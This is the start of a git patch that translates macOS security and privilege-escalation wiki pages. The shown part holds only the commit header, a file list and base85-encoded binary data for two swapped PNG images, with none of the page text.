From 34416058a1be573e7178bdf93e88929d49d28ce5 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 26 Jun 2023 19:15:13 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .gitbook/assets/image (1).png | Bin 85817 -> 16319 bytes .gitbook/assets/image.png | Bin 16319 -> 85817 bytes .../README.md | 253 +++++++----------- .../macos-sensitive-locations.md | 86 +++--- .../macos-.net-applications-injection.md | 18 +- 5 files changed, 137 insertions(+), 220 deletions(-) diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 8eae14f0f6694a38256a8e80043d23402012fcdd..2173ed0a4facda8cf4bb508330d0e0ebafa22645 100644 GIT binary patch literal 16319 zcmcJ$by!qu7dH$ljetlgF{Gq)*B}T;NO#wuNJ)plh;(;JOG!#dBS=YufOJXMP(#hY z0N=)Qp68tB{jTeK|N6MDVei@dj=k5t?zPr${nmu3smR~QeT<8ShIU`!#d8fbv^x&K zxhgg$@L!`xp%@JfH{V7^MomFRhE~nl(b~oif`;}YEGZdFO>>*<{mr{^8EGYKYH7zY zLo`;puRjX{qGIn6D@OX~&rybZXhUkyV`3X_6B zNOKUMkPtI;und}V?t#wVxLBPLd3tbgQ_6CLNHapqc^jDEnKq9fs7iN{!Jce|{=Vcn z40E8mE5QfdyyPA$(ehkE2JeteLI(d(c9G8~dOft9xQatY0{QqmXbN~$<28+}FQ~?h z0_~rR=VCASc}wu}CLa<>hF7w#FvxlGN-}IW3$sEa(ikK9mh*c(n^IWYFR}T$w=+m@ zHl0w8eJ@gm*SO^p8DsA~r!5tCwmu(EzSpOhNb*>)Q+hG+h6FDkeUxu-$ckx@J7)DE z<6Jt;WAV;DX>c8f3YplOU}Rcr93O{1G2K8ChdIxyRED%6_LmXKGZ;Q~9DdQXZ0^A| zK|Hy98EIsX_;)+wXPCyY^{;&5+Rp7v!1@P|(w0uytp?7laX#I#`sQN2yBU#M!^5{~ zReOYxY^{+T<%K#W*K?!@OBij8sGg_H@YOIt-qpksI=eeI!0UfPaCYrc zI{I6^7z)tf?3fAq+d^Cg0JBf1+c4C()xP z6-5{Njp6f*7W=L`Ee*#VBU-daQg@R5jVcL9-qTl-!qC>uxTXoC-&_8^_xjGO@3L<( z=FyCQ6L{Y9Zb$RPk!yd)jsA>?fL?~=1@%}^BrRSqfrS)JEEfsBtkjVjed3)kTGm9o z@{sTxi_cWESlTjeQboBDKLtKhdZV2_>-!}f^jS-BkPCq;Gb z&!Sp*CDd+s6A_P}`98NCCE=&G4|A8n%E=owI?*_JbMnMhnnKS(=&beU^#4{&3oY7EjT-`(KdAh1R|rithtt9+vO$_`DCCOzCZY$0$Vs=UYK zySwFOm8CG13iT_0m!6a>98uZ%Ge}mM2!g)&_Ob)tE#{7s*0F;wZWOz{cyuAq|DVD5>FHF zCJrQ`vn9WghG=RQ%l@+brLyxmygEEUF|yw|2{);R?HfPIQ0kAug7LbaDnIwfB#Yma z@@gYXD7AOB-f8tr@K3b-Lc9rjbNa^Pmt^tygzv=ouli!4V(_SxZL00yxL#qE{A%@& z&?nmCFB3}jKYK|Z=aQ8{DoAr{HEi2-LMBt|qU+k~^xmbMG3`B|{urI2Qlb(zERtz% z99|Jpp;rI=yk#G+2{%(gwJ2qDZY$5*z#H9LN3WiM4d*R2Av^t_ZWiXzP~O~Zys%^3Uewu!d!i_O7~FUVVy#>LV2I1W_5AV zw#GQy_?)#KU$Fki8HXB9m+ARYBQq0ozwtYDZ>xz6V0Bwr0coqe^87__h9#8ZnZ|kN zswb;Q!mUZ|l3q<%o%YZE6m9oTcWXY?rIb&1O}{G`W0z!q*Z$bf&~9luZO&_Y1_t}8_?miY>6X@l)EaZ*hHT9bFRBEAY>Cvw!(=Nl4WC205rL$E`Axp29oR^CH zF8o;iYW?!Aqp#VoxbB(V`EaKWW8TuXrV;k$>~)UI?~?Czv>IwwYF<023bMaZ1NU|ervv=9UUjpIj5U(ljZhj#uv^k5BrT$XEJ1EgFg`z7oT9+nAXX= z%btZmcm`BBbqzQT7OOgZx_^)ci1>+M>3-66)~(yvS+5w_Gwe31brkq2YU8&1I6wet zi#d7mMWQ;ofzy7$(M!;)+v{Mmr^2ysYS=V==_cTYuoeT35&z*G<-8#5>cLgsVb5^X z8Ks9k%Al9M#l%We%izT8p~v`XwjGr1a(ixLZ79<)qYgF`zQ8u??UBA&$Iz|VEz*58 zCsQYs{8I^6X>m`lW!0cqW_vNSD|0OK8>AgF)Qs<8zi`@Uq~=%D(fp}Zqtw}Q9pSLJ zpCw`PZs+XH!PD8x?N`eq=jX@++cMq?wuP95>~A+n|J1vCSdXwu32ms@L{HW$x85Ga zg)-Pr3{Ol57zh}?SvIiQI~>K3Z;nP%*;dq)&FQL^a)}Z|E5)=Sn2u7KnLns}&9cfU z6N9*xRQr#qO=AmGyr!}z=06qe5%S0;5MP*GnH)PTo%j+mvXxmZTaY@iP(qET$)6CFE*7?bxu}jUvCx)y>5$hkLDcQ3FrfF4cs3T}|*j77{%)fM3j| zzjT~fqVd~2tZ?J-fo)$#oU8IK4mlc6s7kbS z^AtTF_9u9+3nG6A@B7&qZ)V!NBI^?coVw>bl~&zBnBopR!~xLW6V$cw!i|wX$Ij9u z6y4MJ?i+1{T?!Dk>Ok}qtY5xFV*}2y(a=L|(Cz_e=)mVO@Igbn8y}2@1ssWi&-0u+ z|G9g|A?NOY&e2qF8$Q#NQBVMmnwHKGh=a>(N7rDc<_2J>2^%dvSG||YqLz;KoaR=J z77$KP`?t4U(8N7Ofm3^kt2wQwy`6)LsHX(|pBAFP`R!#cdfGotTx})j^ z@$x=fCd!pFOo*AkH$5_P~s;lK(8s-<|(`^Y4!0T(>X&FG2hzvp?+^ z2aY0fDBXQVOdC2WNqS6lR>iGec_}s8XLMiD!ifyHJuRo*Sn>ipwtqDx(w+~#Pial#wHAjuur46S3?_fN9@6POwyB?~h68aqmSQjMeC=NA0 zJxaDhZf3o!NaMHBFhoo$|9kq^LU+`=_oBu2xit%wd8SO>*?)zdPMI$GZ183C*p^kv z@jK`To=zH$;M0gtmo=<}d%aaevVUo**0(LM9jqSUwAIlw$KZSYleVUxt#r*R(4n&W zY0V%nC+>QVKqiD;y;%|IaJQ9ix+mj(dd~Anz?Ym)-LEkIdOVV|Mim z?yL&N8QQwW6Gk2jZX3%XAi?8}AwI5F#HTb#UvKA&z69p<9uRb%%BkzY#&%J*ARZY9 z_lWqhvc^Su-E4n>$PMavNRHCpDwu%!O+^b_@f<%$P2oSX21M?^_(95$q`s37JYUv& zv4e@>u;4Z&@NU1c$ZNlGGk(_-R@L)yuYPH9FdMuSNh2|v@wNlU*ud6(+B_t!W>|C} z5(HixOygrN_UWH@pR>PDRu?6-IL(?7LH3k4-L5*!3%Q<>0RQ>o-^;^+b8m4nTAGZ@ z#4g#?&&%aII#y}~SL^iPM}dJuj-+5h(Eg`rDv>e$VU2Op)l8RR5$l~_#rsEIo0%zC zol~66u=tyejj!V>F3AG>sTE0n)H|jExNGJ zdlH$?%TyyC?2hRe+6xGMGtkv9VRP)fFXXD3Bgv&}Q>ah2bPGEs$MzUDg7d9G9XBU+E#_~iXF7n%+Y@5UyqZgu{m4tFfGFG zW9{X6|GPrmGC_*X_-#9eL-_GW+X|kBwQ1M!mqU15EoNtPj&0%*YDlmAa7y^fm+n3Bt~y8kFloQ@p9Vj9oB8-_ z_C-EorZCI|Dr5Qmmv_Yi5bt_7mmQpRscADO=PPn_PHY9lHJ9 zSj+SNbV(I&>A&odR0w@exM4`EFvRem zEpP$4Q_^tS=20P_^Ops>-4z6~Ql#|+zE1sh{|NpBd~2DY2S&DK|BOi;4p=bii?=B|+Do7d`1_o%?4e{JbGj>n^|f=2Bku&or(q!1K6mMQGNM z{?{z#+|U6Je)DeA!17k@K!0sEEF7y@nBIQYa6~64BKW z6jB0bY7zUQ^t3i{#^-owh}vU*G}&U-!fDQ9$#>{hS~V9trRnwG%AYowRXUfJRfl_R ziY+~gT*a!Wn|)&)M5=QLI_PPB{ z&)2!2Gd??-*>8G_*d*fIXKk37rx_)tbmr7qZU}vT-`)6t$N4sVCNDEM5hKB5OneJj?A^ApQf-99(l41s{1fz`5|6N zh#IoP(!<0?=GM{~M)cY_C_r_PeUfKYF_1d-ZK-a6m=%Q_DR0Z)TOJvz;&$_62V4m{c}7ot7J5X-sm`h%D&>d*y_ z7TZjI+E+|1J8zQ0V1V@=0iuBhyY>$lFV}lIu6)}23Z?(rr)m9dt*kfUdsWk5Rk6LVu$%yb{<)J! zuQHZfpXJM#94}mUkhjK$7?cG0ydZF9GMd#9 z)sb&8Q2Zr5VPvg=UmVDf;qK_uNmJ+*zVDBihhv~Ji`~}UuY|1;@J#vaqvO}7l6~UA zX(Mck4vM?EAvDfUOv^C!cr-%Qu{YLj#tR=^KH$GWZG!K6&GzRrdQ65rR23gh%dYxr zZhbwsbe&uTA+Zums4`2{HSy{;ZaXb^d{o9RoqajK8L3T>QJju=ckrzq5RkmlVdNt| zDkyKQkoU=JOVe19lb` zpq2ucuo_hptWxEVteS-l;;P^)S0VaizQ_XA;84)KuAyso69^{n9)G_}*if7=wCLG+`s`w9Tot?!t6Fre zhMYQI&t4L|y6$U!mDVXsZoFolgt)#st8a7D%*!_y3=#Hu7`WfG%NY~@&_LzlGO6KRr6T(fE}$;3?KJ9c(>$2jg_#w-+Zt?8Fn8eIUloHUR#eAymO-7&WGdIJ>v$l@RIz4}=+%d&T+19+)ePY(jyL0c_{yd?7gGyD zQKv)m$GY-1d9jQUbGJUUo^x|O#ne6W8*(H4C0W3eXeAm%gy^GOyqRs?S2%G?Mpd5T zsKZW&@`oUduR5XqH~SuKF6XG4C(5^=!UYJsABo}zGDW>4X3lhtzZ?P!G9Nw*))Nm; z&QSFE6?OwybNSGMR$eJv! zRtU|Fg}$+WzwR9C|A9p!H~FD@BdQL+d*^_D2C9t+MyU3+5wvzt2IQugc=ugBA7xNY z{M9POc5~5+D&5I;$BDA-=)GP~HXOdcRyoN>5g1EpXKjIrp&yx1H4tQ^cLcghZ1n>? z|HtNo);Wx#{4e9+Ii@zVI>qZ35|+!vUtk77Q2cB?PksIFS9Csmzbfan-upeH{7tCe zV_lb(&)6Lml(d(6_IXyl{Y7whfMnHOlI|!%k^756LM~j?A%t{=Z{#jn5~W|SbeWSA zb)A$EZEwfA@H^zXBB$DQJ@a1Tjc%g4XW%WG zU;ZOE-Uf@D?(Y#0Dj&i%5&PK+e?B0<(UnZ{Ui8{*^v_*dL{3iE77ou2TVrHfZ10|o zG{HwUYXF&L=rwe)H|s2`&I9J;uo{j6gr?p#ijF$ql4D9I#^41aJZU0s1R zthUKfuhpa8+tPFIT3TCR}{K0yH9=V4F}w zP$>lE7%P6TBVZFXH{a;8@R(!fPL#9y*VuM6%~X!H4W_z?)QS~Z-Zp%m_*bGTp~K&Q zF&zKk?GI^Nc}zKpFl+4Wmo?Ed4osaj7Y%f^8@J{uQB{trZjIp{Eb&A7wfvN@c@eYy z(MAW_q&vn#-T$>r@8P=0RLM#4>G?6+VqPzIwHYIhFr|n zgK)W_&#vkAbxv)D`ZACDK_->SN5f&vi19)?QCdx(GShq?63_WpW_zS130dMH1k^il zOv6OK{w5&nVRTk}`lSO1LEclHj(23lA>NL?+D4K=C zv-?c)S}Vu+<|Vf~x>WGtP`ylZiO*fwF8<(23`>+6#^af5G9^ygm(!lKR4#lr6} zU{2B@#cWs*sN)fjai#is=LpThRDw5H)Na4jhmCMO^(;~?&%#FW$7O}TKzdlo1VkrM z$m8SJKCXH$0UBXs5?=5%aaduxgEQ`?+m!L1X6Np{??)?dojq{`j&q&y~NY9>$S!y9e58J5!3$ik}jVabtBa+x7^X z#G}>@j_G#9+3NIKDMxK&iD#lsQt=ZIo1c%Zx{IVC%Mz6HT<3Tg#;gVn# z2J1Fw(beoGd~hmIuFzQ?u-kM?eV+}|ad#AZCuhvaA>dnf9dGK`{DHj{{ixoOG^%BB zZ)4oxLBPSZ`{zNGQ{7}!W{FlrS$Az8nAXis_o@`(sCx~U4ByktIzMF>Esib3Y9CGb?u}ILJm>UIZMz zr}@AUw`AN>$ZBsq*uv@Zja~vYzu-PMB=Wmv_M3}N1mB{T^7A9bDAPz?AzvQwRk^*% z-1|EJUxGPs)j7pChNGTJh2@MdlV(#!zu@o{Y5$rhGjq?kz$HW)v45z2yWHX9`<#bk z-DBZ|74n+u4+`%mQbXznhf8YS^Cs{|uY1iQulNtPzs>D^qw+tqzk#ijYM=c($GGKs z3*1kHKBN8x+}obzJhh#l-eBA3I~0!T?BCDFdH6&aEZmA0q2^_`+1)Lh7E`6x#6%rD zhhy{+G4~^dkuZZiM2uMF0ZU%>ThxOn3Z74_qPFN<&9Lg=O~`iG`-3(&@uD8_&KV|K zTZ7yZRA1*l!s*qT1_3k9Z|61SX12#n4O1qA@{5>+&Gfwof*FpRnwcktc2z;g_g~O7 zd|Kwvb=r9GDEFf1H{~igvCXt+zoowU^ZY2!N>`KEfWeqoDFD4!B$#ftz=-Xx?uXUr z$X&7N0{327l;cY56u2plJKCVDo}9DhZD@2U^Ss8hy{$IRyg(?>#q22~DCm?3+O_@0 zQ@ORU#dMj+b+7nL|A(d_hXYkdbbz#Y^(w5Q83)WF+^NKbYFhTGuYVYg>grpK-yjX? zXX!|I@{;Xo6B|{V9LwG{h`>66AhvW&lY+qUfsY?ed0n2`H5Dw9Q2Jgc0F-yAFfPOC z{gVGcwqS;r&Qp-KZRucg1POq`!-{`g;2<_N_zurf7a{0{V)lePe7q8SJGMtZmyC(#HKe@)f z3%dSZG;u=QR&q^j;#NyN(kLvl->_PZfk(!l1j0K%#$dLc8GM^gKVrFE&Npj^LL7Pd zD5Q8ttvkk~^&v|89XAHk?ynm%huuHgE#ykJm3Npq*&cWCGbn~W0xX?jUt4b}sxWG- z9ySVoDH$q#)#KM-)Lgf?VcZ<+t^!SN5nC^Te>vy_uRUFQI$QKrrnCX#zQJ;1KhiNs zAi9-EeY0Q9)n?I{yQHweQz#;w_MVk|*sPN=asrKA4%f+t_z#wCteF)i zeJ?H|${0k^o#D9>HtZ8saG&ohbW1FcRz>JLy9Be?+irG&Nm4o$^vZsJKDUR^gKy{V zG$%OOJeI+$s)c8AF*JL_g{y-ip`)bZbdgzyelfasbJK&VJeEeDu%$lcY#5>&w>#_} zRbJJIy zR4HfdYKGte8BA@zY+0bQPm`Yymv-lm@E2rgD_*w{&TYd#HT-`9RlCY|%!>PC*X@`C zbXhBq5|LlfSW8d6^2j|Jvg@F+qF-&X z#+|B?U1kGb2X4VTuq5tok=ZWl9ZpK{S4&SjGvr=0tln+=74;lvEe!eb+*Q?X|Q7` zl$AjM8g^h>q>{Pgc@5yV-Dvz8GHgDlmFJzaqZFg6BJ!R;bDsS$c(mZl@zN1b7dhpz z4(cJSu83+6^U*{I9<_(4-Jz&_Yc06Mg$Ys)suHpsdSeITEj_Y#F2KSNZP z1eD0Y5m^57s0VZq$ZSJFRQcl;S~?{Ds1Zdmyr#Ry9nQyKK8vwS|GdFMHvR!Go_>|z zQAlM)`XZ^rjk%5NZ?hDz3Rlaaw9EN|2YEpA zJXGeYrZ~1Epb5^NEJFDJ8I&uEPz;IQ>LFd%ozS`nY1Y8PmsIZP&y+`S9^h$Q_QWX5(JZ>*rt+JC+KZgJfBOdg|WZ*ZUbi5aRAKGdxqNfVM}~O zdhwVsfF08SzhzpW|6D3dNo>>5Vk*ArK7pMMOJ2pJi?<%V{=*LWAC=Z*l@?K%XwqB;(nn%>fV0=Fn|6lY6#zY5DaFR|B^=l!3w|xvxeD_NF|uD8gj1GNZMi30ds%C*ySamXtyf z>b@3l5>I^t&F`EJoUaD$E68{&4=C4MjDL%d-c~Dwbbn+SY1AoDEpN-#J))7t9KdBz zI9$#umd@1^KKh-08UksB|Ail8MDr%?>t=pjaXL5``7AzR`G^YiMoCsptMuJVBO7nx9>DlG}(r`L~#S8+KeM~NjS+YYb0ab z{ewJuW9b~4v{rsx5FQE7k=sQC(DdaAnQC93+9T!D3$w?-ScEjNNzm$;OlTB8{?{(; zhv_?>PrAH~)|hN1ZB|bnqUw>qCa!lk)!mj7;DlMy@VG+?s9T36JPB@jkRr@Vav@oi z@AxVMU68L%Kt8OPLDG)}S6QTrV7sKW;?0YmXE0?h{d#njGz(Gel>oo1)2VcTyp~)F zn~dd#2h`f8iXlVI!j|(wPNQX!v2HcXf>b$Zm8&EXkExYVa^@Hv@`NC&M8z`f1ZLIY zqS(qOGynj#1}Jg2-H&Sb^i>&~6_E&avdoy_cR=#60poM(lx8R^n9Qs?4;#i^`hi)o zSoPOks0B7**>gLy_ZHihr{@DK%~+>d_C-mXO09Z~<4=Q^IA+l{RVwuUVeYgZK4Ie$8{A8Ej1~ujCiW zDe}-d9#Te57ca2>F`8`)9!m>*@f+zM26M}6+7(05!Q(kTOR=gfY#^jy zyd~fLMZ*H-PTf@Mw0o;FF_sBms`VDD-u8d(*GeE{1!wM=J(4v43vAYm`~@~)m|=f` z&C*JUyRQa!MPlCsn@L)xoa^6UGw9j>fX&j{!!p1o0{)|jI`v+g zeOFcT*Zwop`un=4OHD|{3sHE4IIxP#9r7MVGJqCpEIP88b|1LBX%g(gW4E>EESr1m z>jCe>@&Jl8TnJv2PYjBbc0Y1_llIB8;0M=_()8BU?CVLvFZNP%Qg0~LkVW=PwdJo{ zn8tPD1(~M-uo>1JmD=az|2^(b|+3Q)b-Ia0^Bh|{pw`7AbSrE5UmZ2Zt`)<;X%h1P82=>6DeB%l$b8r zWTm?zLl-MM*hjarV@uDj^-!vK6=azyql8M9W1al(->n!Opz+WL4B<14 zwb6Dr(Lt9urHF_>d3R26tt77HDqGds5eicY>WW*CmIKh3iZ?iY;CXHBzIqZQQ9QVu zmU3swI0>rZ$0FfmvD}4oq|4k=fy#&NKWS!Ipr&R~LG30_kws93RIcU_#lVEecO5zi zNmK|laoQXZE8Ba444O{x21c*-uDd=*Ic0BO@NSNc^#uz1g|Fu7QE={sHG>EOaPd5J(9TB-BA!p^f&#yOsCa)NYQ+zbs2dy zF}}=pGkc8bUE{WhHaf9F59D>0Rgvdj%p&DNS_!H2gds+P^^c z*Oiu8)srD`YM8NvvkmJG3tcCxUR%d>+IUCbFudcBdFPNhW8EgmSk_cnhyI)r0v;2O#X$O#f)ktmBJT(m9VbpVzY2B*&{BWzZ=gDSA?M>w-EX zQoquJBWz0laHwUL3r|3abXV z5OXDlTuY#C)3Xtdd;gI3Z01#V3xQ4=KTyWzbnZ9xqx@KZ3%EnB@=m*S?=8p2Q2f*0%0bjX2K+fKuEe zn4*v0@N8=eiIgUKwh&&b4=21e6<8SACRdw?GtyqByM}*QYC1Z)<^5Ay3|URbdIcsW zk8p4PP^PXbZ8?NvH^RrYT(N(Ur^OZXlbhE|bVwb$8wfm?6sb9=>KAh1VT>dPLaLA+ zBIq7AIaNa)J;3v7pJz1u&4OANo-ILde2QPbfJ*6BV`9|j2d7D&P=qFAmUWnDTb+1~ zX>CteSq@pJ+iyrtvVf@!HBXmulZ5}qob{8vU;@U(U~UrD!cDbA;om8%j6N&EY$RC9 zg;b91qE*YCA(!eI)s4Fq%}u9@fOR+QbYi^!K*^7rw1aLM{2N!N8K{**f)xo+$|1qp)#9d+Q9=~4n<}3gt7F-!NEkE6R zMzz#U!VqN`DgeUn;=Lm_*|Ffc8pYW#aRTugiz~r=z;fiSwKohZP)RKn`4GOE9(Xv= z<77QKwh=vR(BfI8sl_zk2EW$38(R4^ulkS(8jlr_!273Qr4L--vz!M5h|n}#v&MVX z{;Y0kikt&q#Hao}zgf_i7kZQYc^mqYxAsaQu}UMW1` zE6+z!w~}!#Pme7M3hE~+85Bwz9XuLuqc3iO-DHf*h$(eJRAd5>v-=($^m6#gTBKlA zFQe0q4kJ`ujKTGPQRb^}&uoMA#1B9}9bTqd0~mOtvXj6i;&)iU--ISHn7T^DpOCj} z#p~;u)=Hj=&v11>Z$!XKkTgn(YPjh6vcE7MDN}NHL$TIh#F9CV)&0k~_iah_k1;1R z_HfiahJ*6*EXt)HeR$o)vC;DZn+sc1%y_>e{Dz|Z=llO)z~8JdW+FEF(uTbdd_++TMxyg)aUh{t8|_Xjm}4`y#M4cl0MoB zWf5UuU8%$)w(!;oJ#l?Oa{q7MGOrAwS)-hCL9$}H()X34ZTbE>Cet$#%rITIzhQah z9e9s_Ba1E-nd6A1TR)|EZg1{%6+4Nz+D;(sF_Gnn<4}>th}eO65ru-VZskUfwIFw8 z>Qs^512(qx2E@_xro3GNViY$7+eZ ze)b4INXSYDp&kStwE#FaJXwLOvVbpEa_MBBMv&>6YhFbre_#Rm4w!yZ8Xn_L9q%}{ zU%DoveEn-X`!6jt+F4wf5{2^xa^3ZFMZ39-P*Gp@ zEw%FF{$ee;|FD)#irA3%#qt|bkVHagw}9YnZAQ(!`8qvU8K<=J9yhhL=)6`X#S(L& zoPMM#g|&8@57=ZYi$A~T>mYwAc!7O8l>lO(Qx*o#0FoKME-t;0=aD40e4|{XS%5~r zK`T&5%pCJWT9HJ=NxP$vI19)8lmRqG2-HrOFLkbm`~)hR_X}x`ib6gNvS8lGNmrc^ zf7uDAm&?+-v+Vz_P&BBr?%&MjuQbu`ODbY}Yh~Z!v)B)UUeao}qR9XbN8?YC8DY}F z6puUT4N#JlNd-iOKw4-PQg+j|W~$t(E|=umx zsz~EX0`=7kCu2|R=T{P03+HB^$y2)}rgPpAcQ5DZfjyk08XU4yH2XtX&i!8qOJm>D ziAEW7`YOw$`)IJpXI^xUWYhK1dUxBgV5vGCIQDTYAo&=hDqyT4kf?5EpDdX z4xhsJ>VDtDZC=umof--es@RzSl9Gpf`$QyGFbxTiO&Z0Cu!p3uQsXI+J{P4E4X{(g zDM&%&vWM3lL_U&DkIR8^L!Q!!fmlK7R5d~e6dz0{<)bNuI5!Cg-Z+VpcgMKX?}|sD z0{_K1w&}(EJW#vDFW5cdPJ;UCUXKb|UNJKQIY~+gps-p<85(Vp-CJ+MA|c-0VTqc+ zaSTC~b!cZVtZ8XWY8vLO2 z#0r61V}>z4eTyA=2lTjKa%AxCtqk8%m7>jL!^p3>J~xf?hC`Aycn3krJP)%`L3S9UY`^=r&iz%ARRWmO@3^G)(?6i{=k{&U^R^>EiT+bY?H2%4M_+Ad+sgi{mU;XE a0xWh~kFhD$&2jrHBL!KN=M~asAO0UsoI-K{ literal 85817 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 